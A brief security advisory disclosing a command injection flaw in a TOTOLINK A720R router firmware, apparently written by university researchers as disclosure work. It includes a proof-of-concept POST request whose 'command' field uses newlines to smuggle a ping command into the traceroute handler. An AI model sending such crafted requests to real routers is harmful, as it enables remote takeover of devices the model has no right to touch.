totolink vulnerability

vendor:TOTOLINK

product:A720R;

version:A720R_Firmware(V4.1.5cu.470_B20200911)

type:Remote Command Execution

author:Jinwen Zhou、Yifeng Li、Yongjie Zheng

institution:potatso@scnu、feng@scnu、eifiz@scnu

Vulnerability description

We found an Command Injection vulnerability and buffer overflow vulnerability in TOTOLINK Technology router with firmware which was released recently，allows remote attackers to execute arbitrary OS commands from a crafted request.

Remote Command Injection vulnerability

In this function,command is directly passed by the attacker, so we can control the command to attack the OS.

PoC

Remote Command Injection

We set the value of command as -h\nping 1.1.1.1\n and the router will excute ping command,such as:

POST http://example.com/cgi-bin/cstecgi.cgi?action=s

{"topicurl":"setTracerouteCfg","command":"-h\nping 1.1.1.1\n","num":"500"}
Select a repo